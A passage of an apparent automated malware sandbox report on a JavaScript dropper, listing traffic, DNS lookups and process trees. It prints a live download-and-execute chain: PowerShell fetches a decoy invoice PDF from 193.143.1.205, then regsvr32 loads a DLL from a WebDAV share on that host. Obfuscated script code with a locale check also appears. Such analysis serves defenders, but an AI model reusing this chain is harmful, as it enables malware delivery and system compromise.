Jan 11, 2025 08:44:56.588526011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588527918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588537931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588550091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588557005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588572979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588573933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588594913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.615417004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615430117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615447044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615458965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615470886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615485907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.615492105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615504980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615519047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.615519047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.615540028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.645450115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645462990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645473957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645524979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645539045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645566940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.645606995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645621061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645627975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.645633936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645646095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645658970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645675898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.645760059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645771980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645781994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645802975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.645850897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.645881891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645893097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645905018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.645931005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.646003008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.646014929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.646023989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.646037102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.646045923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.646051884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.646064997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.646074057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.646078110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.646095037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.646125078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.666399002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.673475981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.674289942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674308062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674329042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674340963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674351931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674364090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674374104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.674381971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674433947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.674510956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674523115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674535036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674549103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674556017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.674561024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674575090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674585104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.674613953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674628973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.674632072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.674652100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.715852022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.824584961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.960767984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:57.912137032 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:57.917045116 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:57.917211056 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:57.917309999 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:57.922075033 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:58.699898005 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:58.747097015 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:45:00.586275101 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:45:26.174479008 CET	55076	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:45:26.179327011 CET	53	55076	1.1.1.1	192.168.2.5
Jan 11, 2025 08:45:26.179419041 CET	55076	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:45:26.179481030 CET	55076	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:45:26.184273958 CET	53	55076	1.1.1.1	192.168.2.5
Jan 11, 2025 08:45:26.643291950 CET	53	55076	1.1.1.1	192.168.2.5
Jan 11, 2025 08:45:26.649272919 CET	55076	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:45:26.654251099 CET	53	55076	1.1.1.1	192.168.2.5
Jan 11, 2025 08:45:26.654344082 CET	55076	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:45:05.813920021 CET	58675	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:45:26.173990965 CET	53	54819	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:45:05.813920021 CET	192.168.2.5	1.1.1.1	0x7153	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:45:05.821091890 CET	1.1.1.1	192.168.2.5	0x7153	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:06.534198999 CET	1.1.1.1	192.168.2.5	0x9ba7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5476	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:44:55.170458078 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:44:55.939131975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:44:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:44:55.939153910 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:44:55.939167976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 08:44:55.939188957 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 08:44:55.939201117 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 08:44:55.939212084 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 08:44:55.939232111 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 08:44:55.939249039 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 08:44:55.939261913 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 08:44:55.939276934 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 08:44:55.944171906 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1532	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:44:57.917309999 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:44:58.699898005 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:44:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:44:51
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js"
Imagebase:	0x7ff63c6b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:44:52
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll
Imagebase:	0x7ff7ea7a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:44:52
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:44:52
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:44:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:44:57
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ea7a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:44:57
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ca9b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:44:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:44:58
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:44:58
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1540,i,1322483727727020141,7524564797198938303,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ieklqbp() {	ieklqbp() ➔ undefined
1	aanbjnec = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bxzrufwc = this[hervq + sawempnud + krwscj + himyhghhv + mnuiaxd + bybuy + fxvimj + jyakiurf] ( this[oxxwwiofu + mcsyiotn + jfcwezpqr + krwscj + fxetdrgzt + hervq + jyakiurf][vakuuodf + krwscj + mnuiaxd + sawempnud + jyakiurf + mnuiaxd + aondk + fxylm + dwfngm + mnuiaxd + jfcwezpqr + jyakiurf] ( oxxwwiofu + mcsyiotn + jfcwezpqr + krwscj + fxetdrgzt + hervq + jyakiurf + psgoqiphs + mcsyiotn + xxrdozvfs + mnuiaxd + dxsbcl + dxsbcl ) [omfphvhs + mnuiaxd + jfiwmx + omfphvhs + mnuiaxd + sawempnud + qcadgy] ( eqeix + qpvhk + waxuxym + otxxxbn + eahbofwh + vakuuodf + wdtrruj + omfphvhs + omfphvhs + waxuxym + hykuir + gcpyhbqe + eahbofwh + wdtrruj + mcsyiotn + waxuxym + omfphvhs + dbagpi + vakuuodf + gcmjy + fxvimj + jyakiurf + krwscj + gcmjy + dxsbcl + lwmmrzczs + iftbhdsk + sawempnud + fxvimj + mnuiaxd + dxsbcl + dbagpi + bybuy + fxvimj + jyakiurf + mnuiaxd + krwscj + fxvimj + sawempnud + jyakiurf + fxetdrgzt + gcmjy + fxvimj + sawempnud + dxsbcl + dbagpi + ujyxy + gcmjy + jfcwezpqr + sawempnud + dxsbcl + mnuiaxd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jnplp = 0 ; jnplp < aanbjnec[dxsbcl + mnuiaxd + fxvimj + jfiwmx + jyakiurf + xxrdozvfs] ; ++ jnplp )
4	{
